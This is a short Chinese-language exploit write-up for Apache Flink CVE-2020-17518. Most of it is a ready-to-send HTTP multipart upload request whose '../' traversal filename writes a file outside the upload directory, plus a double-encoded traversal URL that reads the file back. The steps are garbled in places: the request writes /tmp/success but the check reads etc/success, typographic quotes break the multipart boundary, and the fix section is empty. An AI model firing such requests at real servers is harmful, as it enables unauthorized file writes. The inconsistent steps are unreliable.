Apache Flink任意文件写入漏洞(CVE-2020-17518)

### 简介 ###
Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能

### 影响版本 ###

1.11.0

1.11.1

1.11.2

### 漏洞利用 ###

写入EXP：

POST /jars/upload HTTP/1.1
Host: 127.0.0.1:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 185

——WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name=”jarfile”; filename=”../../../../../../tmp/success”

zzzzzzz
——WebKitFormBoundaryoZ8meKnrrso89R6Y–


验证写入:

http://127.0.0.1/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fsuccess

成功写入：


### 修复建议 ###

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